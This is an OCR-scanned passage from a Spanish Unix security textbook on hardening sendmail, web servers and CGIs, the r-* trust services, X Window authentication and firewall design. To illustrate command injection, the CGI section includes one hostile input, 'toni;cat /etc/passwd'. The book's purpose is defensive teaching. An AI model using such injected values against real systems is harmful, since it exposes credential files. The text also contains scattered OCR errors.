equipo - o desde otro que sirve solo a un subdominio, y que a su vez recibe solo desde el principal 
-. Entonces, parece claro que si nuestro sendmail solo recibe correo valido desde una maquina, 
lo logico es configurarlo para que solo acepte petitions desde ella: en lugar de lanzar el demonio 
al arrancar el sistema, en uno de los scripts de /etc/rc.d/ o similar, lo serviremos desde inetd. 
Para esto necesitamos en primer lugar modificar el script correspondiente para que sendmail no se 
lance como demonio en el arranque: en lugar de invocarlo como ‘sendmail -bd -ql5m’ lo haremos 
como ‘sendmail -ql5m\ Ademas, es necesario identificar el servicio en /etc/services, con una 
linea como la siguiente: 

luisa:~# grep smtp /etc/services 
smtp 25/tcp mail 

luisa: ~# 
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Tras reconocer el servicio, hemos de anadir una linea en /etc/inetd.conf indicando como se ha 
de ejecutar sendmail cuando inetd reciba una petition en el puerto 25; dicha linea es similar a la 
siguiente: 

luisa: ~# grep smtp /etc/inetd.conf 

smtp stream tcp nowait root /usr/sbin/tcpd sendmail -bs 
luisa: ~# 

Una vez realizados estos cambios podemos controlar el acceso a nuestro servicio SMTP mediante TCP 
Wrappers', por ejemplo, en el caso de la Universidad Politecnica, el servidor de correo principal se 
denomina vega.cc.upv.es. Para que solo esta maquina nos pueda enviar correo, incluiremos una 
linea como la siguiente en /etc/hosts . allow: 

luisa: ~# grep sendmail /etc/hosts . allow 
sendmail: vega.cc.upv.es 
luisa: ~# 

El resto de sistemas no han de estar autorizados a conectar al puerto; esto incluye tambien a la 
maquina local: para un correcto funcionamiento de nuestro sistema de correo, ni siquiera hace falta 
que localhost tenga permiso para acceder a su puerto 25. En [Gon97] se explica como combinar estas 
restricciones ofrecidas por TCP Wrappers con un cortafuegos como TIS Firewall Toolkit ; en esta 
obra tambien se habla con mas detalle de los problemas que puede implicar el correo electronico, y 
por supuesto de como solucionarlos. 

Evidentemente, esto es aplicable a sistemas que reciban correo de un linico mailer, si debemos 
configurar el propio mailer de la organization, que por lo general recibira correo de un numero 
indeterminado de maquinas, no podemos bloquear el acceso a su sendmail de esta forma. No obs- 
tante, en este caso podemos aplicar unas medidas de seguridad simples, como realizar una consulta 
inversa a DNS para asegurarnos de que solo maquinas registradas envian correo o no permitir que 
nuestro sistema reenvie correo que no provenga de direcciones registradas bajo su clominio. Estas 
medidas, basicas para evitar problemas de spam y mail bombing, son necesarias en la configuration 
de los sistemas de cualquier entidad. 

11.6 Servidores WWW 

Hoy en dia las conexiones a servidores web son sin duda las mas extendidas entre usuarios de Inter- 
net, hasta el punto de que muchas personas piensan que este servicio (http, puerto 80 tcp) es el 
unico que existe en la red junto al IRC -. Lo que en un principio se diseiio para que unos cuantos 
ffsicos intercambiaran y consultaran articulos facilmente, en la actualidad mueve a diario millones 
de dolares y es uno de los pilares fundamentales de cualquier empresa: es por tanto un objetivo 
muy atractivo para cualquier pirata. 

Los problemas de seguridad relacionados con el protocolo http se dividen en tres grandes gru- 
pos en funcion de los datos a los que pueden afectar ([GS97]): 

• Seguridad en el servidor. 

Es necesario garantizar que la informacion almacenada en la maquina servidora no pueda ser 
modificada sin autorizacion, que permanezca disponible y que solo pueda ser accedida por los 
usuarios a los que les este legitimamente permitido. 

• Seguridad en la red. 

Cuando un usuario conecta a un servidor web se produce un intercambio de informacion 
entre ambos; es vital garantizar que los datos que recibe el cliente desde el servidor sean los 
mismos que se estan enviando (esto es, que no sufran modificaciones de terceros), y tambien 
garantizar que la informacion que el usuario envia hacia el servidor no sea capturada, destruida 
o modificada por un atacante. Esto es especialmente importante si la informacion en transito 
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es secreta, como en el caso de los passwords que el usuario teclea para autenticarse en el 
servidor, o en el comercio electronico y el intercambio de numeros de tarjetas de credito. 

• Seguridad en el cliente. 

Por ultimo es necesario garantizar al usuario que lo que descarga de un servidor no va a 
perjudicar a la seguridad de su equipo; sin llegar a extremos de applets maliciosos o programas 
con virus, si simplemente el navegador del usuario ‘se cuelga’ al acceder al visitar las paginas 
de una organization, seguramente esa persona dejara de visitarlas, con la consecuente perdida 
de imagen - y posiblemente de un futuro cliente - para esa entidad. 

Asegurar el servidor implica - aparte de las medidas habituales para cualquier maquina Unix - 
medidas excepcionales dedicadas al demonio servidor de web y su entorno de trabajo; estas medidas 
son propias para cada programa servidor, por lo que aquf no entraremos en detalles concretos sobre 
cada uno de ellos. No obstante, y sea cual sea el servidor utilizado (Apache, NCSA, Netscape. . . 
es necesario seguir un consejo basico: minimizar el niimero de usuarios en la maquina y minimizar 
el niimero de servicios ofrecidos en ella; aunque lo normal es que una maquina dedicada a cualquier 
tarea con decenas - o con miles - de usuarios sea tambien el servidor web , es recomendable que 
dicho servidor sea un equipo dedicado a esa tarea. 

Los problemas relacionados con servidores web suelen proceder de errores de programacion en 
los CGIs ubicados en el servidor. Un CGI ( Common Gateway Interface) es un codigo capaz de 
comunicarse con aplicaciones del servidor, de forma que desde una pagina se invoque a dichas apli- 
caciones pasandoles argumentos y el resultado se muestre en el navegador de un cliente; cuando 
rellenamos un formulario, vemos una imagen sensible, o simplemente incrementamos el contador de 
cierta pagina, estamos utilizando CGIs. Esta capacidad del CGI para comunicarse con el resto del 
sistema que alberga las paginas es lo que le otorga su potencia, pero tambien lo que causa mayores 
problemas de seguridad: un fallo en estos programas suele permitir a cualquier visitante de las 
paginas ejecutar ordenes en el sistema. Los errores mas habituales en un CGI provienen de los 
datos recibidos desde el navegador del cliente: un simple formulario, en el que el visitante rellena 
ciertos campos, puede ser una puerta de acceso a nuestro sistema; es necesario comprobar la validez 
de todos y cada uno de los datos leidos antes de que sean procesados. Por ejemplo, imaginemos 
un CGI que pida un nombre de usuario por teclado y a continuation ejecute un f inger contra ese 
nombre de usuario y muestre el resultado en el navegador; ^que sucederia si el visitante introduce 
como nombre de usuario ‘toni;cat /etc/passwd’? Es posible que se ejecute el finger a toni, 
pero a continuation se vuelque el fichero de contrasehas simplemente porque no se ha tenido la 
precaution de ignorar los caracteres especiales para el shell (recordemos que un ' ; ’ en Unix separa 
varias ordenes en una misma linea); este ejemplo, que hoy en dia parece absurdo, ha estado presente 
en algunos servidores durante mucho tiempo. Cualquier CGI es susceptible de presentar problemas 
de seguridad sin importar el lenguaje en que se haya escrito ([Gun96]); por tanto, es muy importan- 
te preocuparse de mantener actualizado el arbol de CGIs (no copiarlo completamente al actualizar 
la version de demonio), e incluso revisar los programas mas importantes en busca de posibles bugs. 
Otra medida de seguridad basica es ejecutar el demonio servidor bajo la identidad de un usuario con 
privilegios minimos para que todo funcione correctamente, pero nunca como root; generalmente, el 
usuario nobody suele ser mas que suficiente: recordemos que los CGIs se ejecutan bajo la identidad 
del usuario propietario del demonio, por lo que si ese propietario es el administrador un potencial 
atacante podria ejecutar cualquier aplicacion como root del sistema. 

Para garantizar la seguridad de los datos que circulan entre un cliente y el servidor es casi obligato- 
rs cifrar dichos datos (otras medidas, como asegurar fisicamente la red, suelen ser impracticables) 
mediante SSL ( Secure Socket Layer), un protocolo desarrollado por Netscape Communications para 
cifrar information al enviarla por la red y descifrarla antes de ser utilizada en el cliente; en la actua- 
lidad, se esta viendo relegado a un segundo piano a causa de los certificados digitales, aunque sigue 
siendo una excelente option para administration remota y para transmitir information confidential 
en redes de proposito general. 
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En ultimo lugar es necesario hablar de la seguridad desde el punto de vista del cliente que vi- 
sita paginas web ; para el usuario, un servidor es seguro si protege la information que recibe y envia 
hacia el, manteniendo su privacidad, y si no conduce al usuario a descargar programas maliciosos 
- generalmente virus - en su equipo; si sucede lo contrario, la compama responsable de las paginas 
se enfrenta a una importante perdida de imagen - aparte de posibles problemas judiciales ■ de cara 
a sus usuarios: simplemente imaginemos que salta a los medios un fallo de seguridad en la version 
electronica de cierto banco; sera dificil que todos sus usuarios sigan manteniendo la suficiente con- 
fianza en el como para guardar alii su dinero. Tambien es necesario hablar de los applets hostiles - 
o simplemente de los mal disenados - que en muchas ocasiones llegan a detener todas las copias del 
navegador en memoria; aunque sus implicaciones de seguridad no suelen ser muy graves, la perdida 
de imagen de la compama es tambien considerable en estos casos. 

En muy pocas maquinas se pueden permitir el lujo de deshabilitar este servicio, ya que como 
hemos dicho es de los mas utilizados actualmente; no obstante, por alguna extraha razon - perso- 
nalmente no la llego a comprender - en algunos clones de Unix (por ejemplo, ciertas variantes de 
Linux) el servicio HTTP esta activado por defecto aun a sabiendas de que muchos de los usuarios de 
este sistema van a utilizarlo en su casa o como estacion de trabajo independiente, donde evidente- 
mente no es habitual - ni necesario en la mayoria de ocasiones - ofrecerlo. Por supuesto, en estos 
casos es importante detener el demonio httpd y evitar que se vuelva a iniciar con el arranque de la 
maquina, modificando el script correspondiente. Siempre hemos de recordar que hemos de ofrecer 
solo los servicios imprescindibles en cada sistema. 


11.7 Los servicios r-* 

Los servicios r-* de Unix BSD (aparecieron inicialmente en la version 4.2 de esta variante de Unix) 
son herramientas con una parte cliente y una servidora que permiten la conexion remota entre 
maquinas, principalmente para servicios de terminal remota y transferencia de ficheros. Las herra- 
mientas clientes son rsh, rlogin y rep, mientras que las servidoras son demonios como rexecd, 
rshd o rlogind (en algunas versiones de Unix, con in. delante del nombre del demonio); rdist y 
rdistd, otro par de estas herramientas r-*, no los vamos a tratar aqui. 

rlogin (puerto 513, TCP) se utiliza como terminal virtual de un sistema Unix , de una forma muy 
parecida a telnet, rsh (puerto 514, TCP) es utilizado para ejecutar comandos en una maquina re- 
mota sin necesidad de acceder a ella, y rep (via rsh) para copiar ficheros entre diferentes maquinas: 

luisa:~# rlogin -1 toni rosita 

Overflow on /dev/null, please empty the bit bucket. 

rosita: exit 
logout 

rlogin: connection closed. 
luisa:~# rsh -1 toni rosita id 

uid=1000(toni) gid=100(users) groups=100 (users) 
luisa:~# rep prueba.tex toniOrosita: /tmp/ 
luisa: ~# 

Como vemos, la ultima orden no ha solicitado ninguna contrasena; ha copiado el fichero local 
'prueba.tex’ en el directorio /tmp/ del sistema remoto, bajo la identidad del usuario toni. A 
continuation veremos por que no se ha pedido clave para realizar esta action. 

Estos servicios pretenden evitar el transito de contrasenas por la red, ya que este movimiento 
de claves implica molestias a los usuarios y tambien problemas de seguridad; para conseguirlo, 
entran en juego lo que los disenadores del sistema de red de Unix BSD denominaron ‘maquinas 
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fiables’ y ‘usuarios fiables’: cualquier usuario, puede hacer uso de recursos de una maquina remota 
sin necesidad de una clave si su conexion proviene de una maquina fiable o su nombre de usuario 
es fiable. 

Una maquina se puede considerar fiable de dos formas: o bien su nombre se encuentra en 
/etc/hosts . equiv, o bien se encuentra en un fichero denominado . rliosts y situado en el $HOME 
de algiin usuario. Si estamos en el primer caso, cualquier usuario (excepto el root ) del sistema re- 
moto - y fiable - puede hacer acceder a nuestro equipo bajo el mismo login que tiene en el primero, 
sin necesidad de claves. En el segundo caso, utilizando los ficheros .rhosts, cualquier usuario del 
sistema remoto podra conectar al nuestro pero solo bajo el nombre de usuario en cuyo $HOME se 
encuentra el archivo. Por ejemplo, imaginemos la siguiente configuration: 

rosita:"# cat /etc/hosts . equiv 
luisa 

rosita:"# cat "toni/ . rhosts 

anita 

rosita: ~# 

En esta situation, cualquier usuario de luisa puede acceder a rosita si su nombre de usuario es 
el mismo; ademas, el usuario toni de anita puede tambien conectar a rosita sin necesidad de 
ninguna contrasena: 

anita: ~$ rlogin rosita 

In the long run, every program becomes rococo, and then rubble. 

— Alan Perlis 


rosita: ~$ id 

uid=1000(toni) gid=100(users) groups=100 (users) 
rosita: ~$ 

Aparte de maquinas fiables habiamos hablado de usuarios fiables; la idea es la misma que antes, 
pero aplicandola ahora a nombres de usuario junto a (o en lugar de) nombres de maquina. Podemos 
indicar estos nombres tanto en /etc/hosts . equiv como en los archivos .rhosts; no obstante, la 
primera option no es recomendable, ya que estariamos permitiendo al usuario fiable del sistema 
remoto acceder sin contrasena a cualquier cuenta de nuestra maquina. De esta forma, si 
deseamos crear usuarios fiables de sistemas remotos, es necesario hacerlo en los archivos .rhosts. 
Por ejemplo, imaginemos que el usuario toni de nuestra maquina tiene un nombre de usuario 
distinto (antonio) en un sistema remoto, y desea establecer una relation de confianza; para ello 
creara en su $HOME el siguiente archivo .rhosts: 

rosita:"# cat "toni/ . rhosts 
amparo antonio 
rosita: ~# 

Entonces, desde la maquina amparo el usuario antonio podra acceder a la cuenta de toni en nuestro 
sistema sin utilizar contrasenas: 

amparo :"$ id 

uid=102 (antonio) gid=10(staff ) 
amparo :"$ rlogin -1 toni rosita 

It is practically impossible to teach good programming style to 
students that have had prior exposure to BASIC: as potential 
programmers they are mentally mutilated beyond hope of 
regeneration . 

— Dijkstra 
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rosita:~$ id 

uid=1000(toni) gid=100 (users) groups=100 (users) 
rosita: ~$ 

Como podemos ver, las relaciones de confianza entre equipos Unix pueden ser muy utiles y comodas, 
pero al mismo tiempo muy peligrosas: estamos confiando plenamente en sistemas remotos, por lo 
que si su seguridad se ve comprometida tambien se ve la nuestra. Las maquinas fiables se han 
de reducir a equipos de la misma organization, y administrados por la misma persona; ademas, 
es necesario tener siempre presente que si tenemos habilitados los servicios r-* cualquier usuario 
puede establecer relaciones de confianza, lo que puede suponer una violation de nuestra politica 
de seguridad. Es conveniente chequear los directories $HOME en busca de ficheros .rhosts (en la 
section 10.2.6 se presentaba un shellscript que convenientemente planificado puede ayudarnos en 
esta tarea); muchos administradores prefieren no complicarse buscando estos ficheros, y configuran 
sus sistemas para que en cada $HOME exista un fichero con este nombre, propiedad de root y 
con modo 000: asf los usuarios no tienen ocasion de otorgar confianza a sistemas remotos. Esto se 
puede conseguir con el siguiente shellscript : 

# ! /bin/ sh 

for i in 'cat /etc/passwd lawk -F : ’{print $6}’'; do 
cd $i 
> .rhosts 
chmod 0 .rhosts 

done 

Las relaciones de confianza son transitivas: si una maquina confia en otra, lo hace tambien en 
todas en las que confia ella. De esta forma se crean anillos de confianza entre maquinas, y como 
las relaciones suelen estar basadas en el nombre del equipo se trata de objetivos ideales para un 
atacante mediante IP Spoofing: si un pirata consigue hacer pasar su equipo por uno de los confiables, 
automaticamente ha conseguido acceso - casi ilimitado - al resto de las maquinas. 

11.8 X Window 

El entorno X Window proporciona herramientas increiblemente potentes, pero que si no son correc- 
tamente configuradas pueden convertirse en peligrosas. Este sistema esta formado por una serie de 
piezas que trabajan conjuntamente para ofrecer al usuario final un interfaz grafico: 

• La mas importante de ellas, sobre todo desde el punto de vista de la seguridad es el servidor 
X. Este programa generalmente se ejecuta en la terminal de usuario, y tiene como funcion 
principal ofrecer unas primitivas basicas de dibujo (trazado de rectas, relleno de areas. . . ) 
sobre la pantalla; ademas gestiona eventos de teclado y raton. 

• Las aplicaciones X son programas de usuario que lanzan llamadas contra un servidor X. 
Mientras que el servidor se ejecuta habitualmente en la terminal desde donde conecta el 
usuario las aplicaciones se pueden lanzar desde el mismo equipo o tambien desde una maquina 
mas potente, de forma que aprovechamos la capacidad de procesamiento de ese equipo pero 
visualizamos el resultado en la terminal grafica; en este caso se ha de indicar a los clientes la 
ubicacion del servidor, mediante la variable de entorno SDISPLAY o mediante la option de 
linea de comandos '-display’. 

• El gestor de ventanas es un caso particular de aplicacion, ya que se encarga de ofrecer un 
entorno de trabajo mas amigable al usuario que esta trabajando en la terminal: dibujo de 
marcos, menus, cerrado de ventanas. . . 

Es el servidor X Window quien establece su politica de seguridad para permitir a determinados 
clientes utilizar sus servicios. Para ello existen clos mecanismos basicos: la autenticacion por tes- 
tigo y la autenticacion por maquina ([Fis95]; otros esquemas, como SUN-DES-1, no los vamos a 
contemplar aqui. 
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11.8.1 Autenticacion por maquina 

La autenticacion por maquina cliente ( host authentication ) es el mecanismo mas simple, pero la 
seguridad que proporciona es muy limitada; es util en entornos donde los clientes X se ejecutan o 
bien en estaciones monousuarios o bien en equipos donde todos los usuarios son confiables ([Vic94]). 
Ademas, en sistemas antiguos es el unico modelo de seguridad disponible, por lo que en ocasiones no 
queda mas remedio que limitarse a el. Funciona configurando el servidor para permitir conexiones 
a el provenientes de una lista de maquinas, por ejemplo con la orden xhosts: 

anita: ~# xhost +luisa 

luisa being added to access control list 
anita: ~# 

Si ejecutamos la sentencia anterior en la maquina donde se ejecuta el servidor, cualquier usuario 
del sistema remoto estara autorizado a lanzar aplicaciones contra el 4 : 

luisa: ~# xterm -display anita: 0.0 & 

[1] 11974 
luisa: ~# 

La orden xhost sin opciones nos dara una lista de los clientes que pueden lanzar aplicaciones 
contra el servidor, mientras que la opcion especial ‘ + ’ deshabilitara este control de acceso, algo que 
evidentemente no es recomendable: cualquier usuario de cualquier sistema podra utilizar nuestro 
servidor: 

anita: ~# xhost 

access control enabled, only authorized clients can connect 
LOCAL : 

INET : anita 
INET : localhost 
INET : luisa 
anita: ~# xhost + 

access control disabled, clients can connect from any host 
anita: ~# xhost 

access control disabled, clients can connect from any host 
LOCAL : 

INET : anita 
INET : localhost 
INET : luisa 
anita: ~# 

Una medida de seguridad basica utilizando este modelo es habilitar la maquina en nuestra lista de 
hosts solo el tiempo necesario para que el cliente arranque, y deshabilitarla despues; asi la ejecucion 
de la aplicacion cliente funcionara normalmente, pero no se podran lanzar nuevas peticiones al 
servidor. Tambien para eliminar una direccion de la lista utilizamos la orden xhost: 

anita: ~# xhost 

access control enabled, only authorized clients can connect 
LOCAL: 

INET : anita 
INET : localhost 
INET : luisa 

anita: ~# xhost -luisa 

luisa being removed from access control list 
anita: ~# xhost 

4 En determinados casos, por ejemplo utilizando autenticacion SUN-DES-1 o utilizando Kerberos , es posible indicar 
nombres de usuario autorizados de cada sistema; no lo veremos aqm por no ser el caso mas habitual. 
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access control enabled, only authorized clients can connect 
LOCAL: 

INET : anita 
INET : localhost 
anita: ~# 

De esta forma, cuando alguien intente lanzar una aplicacion contra nuestro servidor desde un sistema 
no autorizado vera un mensaje de error similar al siguiente: 

luisa:~# xterm -display anita: 0.0 
Xlib: connection to "anita: 0.0" refused by server 
Xlib: Client is not authorized to connect to Server 
Error: Can't open display: anita: 0.0 
luisa: ~# 

Como hemos dicho, este modelo de seguridad es clemasiado vulnerable; por un lado, estamos au- 
tenticando clientes en base a una direction o a un nombre de maquina, algo facilmente falsificable 
por un atacante. Por otro, aunque los usuarios de los sistemas a los que permitimos utilizar nuestro 
servidor sean conocidos, fiables, y amantes de la naturaleza, nada nos clemuestra que sus sistemas 
sean seguros, por lo que si sus equipos se ven comprometidos, nuestro servidor tambien. 

11.8.2 Autenticacion por testigo 

Este mecanismo de X Window es el mas seguro, y por tanto el mas recomendado; en el, el servidor 
controla el acceso de los clientes mediante una ‘cookie’ MIT-MAGIC-COOKIE-I, que no es mas que un 
codigo de acceso aleatorio de 128 bits en un formato legible por la maquina: esta cookie actua como 
un password temporal, de forma que solo los clientes que conozcan ese password podran acceder 
al servidor. La cookie es generada por xdm o por el propio usuario al principio de cada sesion, 
con xauth, y guardada en el fichero $HDME/ .Xauthority; a partir de ese momento, los programas 
clientes leeran su valor y lo enviaran al servidor cada vez que deseen conectar a el. Podemos 
comprobar que poseemos - al menos - la cookie correspondiente a nuestro display con una orden 
como la siguiente: 

luisa: ~# xauth list 

luisa :0 MIT-MAGIC-CDQKIE-1 8cld09aab445T3a524467c4e8f aaaeb5 
luisa/unix : 0 MIT-MAGIC-COOKIE-I 8cld09aab44573a524467c4e8f aaaeb5 
luisa: ~# 

El comando anterior, xauth, se utiliza para manejar la information de las cookies de cada usuario; 
por ejemplo, un uso muy habitual es la transferencia de cookies a maquinas remotas, para que 
puedan asi conectar al servidor X de un cleterminado equipo. Para ello debemos extraer la cookie 
de nuestro $DISPLAY y enviarla al fichero $H0ME/ . Xauthority del sistema remoto, con una orden 
como esta: 

luisa: ~# xauth extract - $DISPLAY I ssh anita -1 toni xauth merge - 
luisa: ~# 

Este mecanismo tiene principalmente clos problemas de seguridad: por un lado, las cookies se 
transmiten en texto claro por la red, por lo que son susceptibles de ser interceptadas; por otro, al 
estar guardadas en el fichero $H0ME/ . Xauthority, cualquiera que lo pueda leer tendra acceso a ellas: 
es muy importante que este archivo tenga permiso de lectura y escritura solo para su propietario, 
y que tambien tomemos precauciones si los directories $HOME de los usuarios son exportados via 
NFS. 
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Cortafuegos 


12.1 Introduccion 

Segun [Ran95], un firewall o cortafuegos es un sistema o grupo de sistemas que hace cumplir una 
polftica de control de acceso entre dos redes. De una forma mas clara, podemos definir un corta- 
fuegos como cualquier sistema (desde un simple router hasta varias redes en serie) utilizado para 
separar - en cuanto a seguridad se refiere - una maquina o subrecl del resto, protegiendola asi de 
servicios y protocolos que desde el exterior puedan suponer una amenaza a la seguridad. El espacio 
protegido, denominado perfmetro de seguridad, suele ser propiedad de la misma organizacion, 
y la protection se realiza contra una red externa, no confiable, llamada zona de riesgo. 

Evidentemente la forma de aislamiento mas efectiva para cualquier polftica de seguridad consis- 
te en el aislamiento ffsico, es decir, no tener conectada la maquina o la subrecl a otros equipos 
o a Internet (figura 12.1 (a)). Sin embargo, en la mayorfa de organizaciones - especialmente en 
las de I+D - los usuarios necesitan compartir information con otras personas situadas en muchas 
ocasiones a miles de kilometres de distancia, con lo que no es posible un aislamiento total. El punto 
opuesto consistirfa en una conectividad completa con la red (figura 12.1 (b)), lo que desde el punto 
de vista de la seguridad es muy problematico: cualquiera, desde cualquier parte del mundo, puede 
potencialmente tener acceso a nuestros recursos. Un termino medio entre ambas aproximaciones 
consiste en implementar cierta separation logica mediante un cortafuegos (figura 12.1 (c)). 

Antes de hablar de cortafuegos es casi obligatorio dar una serie de definiciones de partes o carac- 
terfsticas de funcionamiento de un firewall ; por maquina o host bastion (tambien se denominan 
gates) se conoce a un sistema especialmente asegurado, pero en principio vulnerable a todo tipo 
de ataques por estar abierto a Internet, que tiene como funcion ser el punto de contacto de los 
usuarios de la red interna de una organizacion con otro tipo de redes. El host bastion filtra trafico 
de entrada y salida, y tambien esconde la configuration de la red hacia fuera. 

Por filtrado de paquetes entendemos la action de clenegar o permitir el flujo de tramas en- 
tre dos redes (por ejemplo la interna, protegida con el firewall , y el resto de Internet) de acuerdo 
a unas normas predefinidas; aunque el filtro mas elemental puede ser un simple router, trabajando 
en el nivel de red del protocolo OSI, esta actividad puede realizarse ademas en un puente o en 
una maquina individual. El filtrado tambien se conoce como screening, y a los dispositivos que lo 
implementan se les denomina chokes; el choke puede ser la maquina bastion o un elemento diferente. 

Un proxy es un programa (trabajando en el nivel de aplicacion de OSI) que permite o niega 
el acceso a una aplicacion cleterminada entre dos redes. Los clientes proxy se comunican solo con 
los servidores proxy, que autorizan las peticiones y las envfan a los servidores reales, o las deniegan 
y las devuelven a quien las solicito. 
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Figura 12.1: (a) Aislamiento. (b) Conexion total, (c) Firewall entre la zona de riesgo y el perimetro 
de seguridad. 
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Ffsicamente, en casi todos los cortafuegos existen al menos un choke y una maquina bastion, aun- 
que tambien se considera firewall a un simple router filtrando paquetes, es decir, actuando como 
choke ; desde el punto de vista logico, en el cortafuegos suelen existir servidores proxy para las 
aplicaciones que han de atravesar el sistema, y que se situan habitualmente en el host bastion. 
Tambien se implementa en el choke un mecanismo de filtrado de paquetes, y en alguno de los dos 
elementos se suele situar otro mecanismo para poder monitorizar y detectar la actividad sospechosa. 

En este capftulo hablaremos de los tipos de cortafuegos mas habituales y de sus caracterfsticas, 
asi como de las posibles polfticas de seguridad que pueden implementar; tambien comentaremos 
aspectos de dos de los cortafuegos mas utilizados hoy en dia: FW-1 y la herramienta de Linux 
ipchains. Los firewalls son cada vez mas necesarios en nuestras redes, pero todos los expertos 
recomiendan que no se usen en lugar de otras herramientas, sino junto a ellas; cualquier cortafue- 
gos, desde el mas simple al mas avanzado, presenta dos gravfsimos problemas de seguridad: por un 
lado, centralizan todas las medidas en un unico sistema, de forma que si este se ve comprometido 
y el resto de nuestra red no esta lo suficientemente protegido el atacante consigue amenazar a toda 
la subred simplemente poniendo en jaque a una maquina. El segundo problema, relacionado con 
este, es la falsa sensation de seguridad que un cortafuegos proporciona: generalmente un admi- 
nistrador que no disponga de un firewall va a preocuparse de la integridad de todas y cada una 
de sus maquinas, pero en el momento en que instala el cortafuegos y lo configura asume que toda 
su red es segura, por lo que se suele descuidar enormemente la seguridad de los equipos de la red 
interna. Esto, como acabamos de comentar, es un grave error, ya que en el momento que un pirata 
acceda a nuestro cortafuegos - recordemos que es un sistema muy expuesto a ataques externos - 
automaticamente va a tener la posibilidad de controlar toda nuestra red. 

Ademas - esto ya no es un problema de los firewalls sino algo de sentido comun -, un cortafuegos 
evidentemente no protege contra ataques que no pasan por el: esto incluye todo tipo de ataques 
internos dentro del perfmetro de seguridad, pero tambien otros factores que a priori no deberian 
suponer un problema. El tipico ejemplo de estos ultimos son los usuarios que instalan sin permiso, 
sin conocimiento del administrador de la red, y muchas veces sin pensar en sus consecuencias, un 
simple modem en sus PCs o estaciones de trabajo; esto, tan habitual en muchas organizaciones, 
supone la violation y la ruptura total del perfmetro de seguridad, ya que posibilita accesos a la red 
no controlados por el cortafuegos. Otro problema de sentido comun es la reconfiguration de los 
sistemas al pasarlos de una zona a otra con diferente nivel de seguridad, por ejemplo al mover un 
equipo que se encuentra en el area protegida a la DMZ (veremos mas adelante lo que estas siglas 
significan); este acto - que en ocasiones no implica ni tan siquiera el movimiento ffsico del equipo, 
sino simplemente conectarlo en una toma de red diferente - puede ocasionar graves problemas de 
seguridad en nuestra organization, por lo que cada vez que un cambio de este estilo se produzca no 
solo es necesaria la reconfiguration del sistema, sino la revision de todas las polfticas de seguridad 
aplicadas a esa maquina ([Mel97]). 


12.2 Caracterfsticas de diseno 

Existen tres clecisiones basicas en el diseno o la configuration de un cortafuegos [Ran95]; la primera 
de ellas, la mas importante, hace referencia a la polftica de seguridad de la organization propietaria 
del firewall : evidentemente, la configuration y el nivel de seguridad potential sera distinto en una 
empresa que utilice un cortafuegos para bloquear todo el trafico externo hacia el dominio de su 
propiedad (excepto, quizas, las consultas a su pagina web) frente a otra donde solo se intente evitar 
que los usuarios internos pierdan el tiempo en la red, bloqueando por ejemplo todos los servicios 
de salida al exterior excepto el correo electronico. Sobre esta decision influyen, aparte de motivos 
de seguridad, motivos administrativos de cada organismo. 

La segunda decision de diseno a tener en cuenta es el nivel de monitorizacion, redundancia y control 
deseado en la organization; una vez definida la polftica a seguir, hay que clefinir como implemen- 
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tar la en el cortafuegos indicando basicamente que se va a permitir y que se va a denegar. Para esto 
existen dos aproximaciones generales: o bien se adopta una postura restrictiva (denegamos todo lo 
que explfcitamente no se permita) o bien una permisiva (permitimos todo excepto lo exph'citarnente 
negado); evidentemente es la primera la mas recomendable de cara a la seguridad, pero no siempre 
es aplicable debido a factores no tecnicos sino humanos (esto es, los usuarios y sus protestas por no 
poder ejecutar tal o cual aplicacion a traves del firewall). 

Por ultimo, la tercera decision a la hora de instalar un sistema de cortafuegos es meramente 
economica: en funcion del valor estimado de lo que deseemos proteger, debemos gastar mas o 
menos dinero, o no gastar nada. Un firewall puede no entranar gastos extras para la organization, o 
suponer un desembolso de varios millones de pesetas: seguramente un departamento o laboratorio 
con pocos equipos en su interior puede utilizar un PC con Linux, Solaris o FreeBSD a modo de 
cortafuegos, sin gastarse nada en el (excepto unas horas de trabajo y unas tazas de cafe), pero 
esta aproximacion evidentemente no funciona cuando el sistema a proteger es una red de tamafio 
considerable; en este caso se pueden utilizar sistemas propietarios, que suelen ser caros, o aprove- 
char los routers de salida de la red, algo mas barato pero que requiere mas tiempo de configuration 
que los cortafuegos sobre Unix en PC de los que hemos hablado antes. De cualquier forma, no es 
recomendable a la hora de evaluar el dinero a invertir en el firewall fijarse solo en el coste de su 
instalacion y puesta a punto, sino tambien en el de su mantenimiento. 

Estas decisiones, aunque concernientes al diseiio, eran basicamente politicas; la primera decision 
tecnica a la que nos vamos a enfrentar a la hora de instalar un cortafuegos es elemental: ^donde lo 
situamos para que cumpla eficientemente su cometido? Evidentemente, si aprovechamos como cor- 
tafuegos un equipo ya existente en la red, por ejemplo un router, no tenemos muchas posibilidades 
de election: con toda seguridad hemos de dejarlo donde ya esta; si por el contrario utilizamos una 
maquina Unix con un cortafuegos implementado en ella, tenemos varias posibilidades para situarla 
con respecto a la red externa y a la interna. Sin importar donde situemos al sistema hemos de 
recordar siempre que los equipos que queden fuera del cortafuegos, en la zona de riesgo, seran igual 
de vulnerables que antes de instalar el firewall, por eso es posible que si por obligation hemos tenido 
que instalar un cortafuegos en un punto que no protege completamente nuestra red, pensemos en 
ahadir cortafuegos internos dentro de la misma, aumentando asi la seguridad de las partes mas 
import antes. 

Una vez que hemos decidido donde situar nuestro cortafuegos se debe elegir que elemento o elemen- 
tos fisicos utilizar como bastion; para tomar esta decision existen dos principios basicos ([CZ95]): 
minima complejidad y maxima seguridad. Cuanto mas simple sea el host bastion, cuanto menos 
servicios ofrezca, mas facil sera su mantenimiento y por tanto mayor su seguridad; mantener esta 
maquina especialmente asegurada es algo vital para que el cortafuegos funcione correctamente, ya 
que va a soportar por si sola todos los ataques que se efectuen contra nuestra red al ser elemento 
mas accesible de esta. Si la seguridad de la maquina bastion se ve comprometida, la amenaza se 
traslada inmediant amente a todos los equipos dentro del perimetro de seguridad. Suele ser una 
buena option elegir como maquina bastion un servidor corriendo alguna version de Unix (desde 
una SPARC con Solaris a un simple PC con Linux o FreeBSD), ya que aparte de la seguridad del 
sistema operativo tenemos la ventaja de que la mayor parte de aplicaciones de firewalling han sido 
desarrolladas y comprobadas desde hace anos sobre Unix ([Rob94]). 

Evidentemente, a la vez que elegimos un bastion para nuestro cortafuegos hemos de decidir que 
elemento utilizar como choke ; generalmente suele ser un router con capacidad para filtrar paquetes, 
aunque tambien puede utilizarse un sistema Unix para realizar esta funcion. En el punto 12.4 se 
comentan diferentes arquitecturas de cortafuegos con los elementos utilizados en cada una de ellas 
como chokes y como bastiones. 

Ya hemos decidido que utilizar como firewall y donde situarlo; una vez hecho esto hemos de im- 
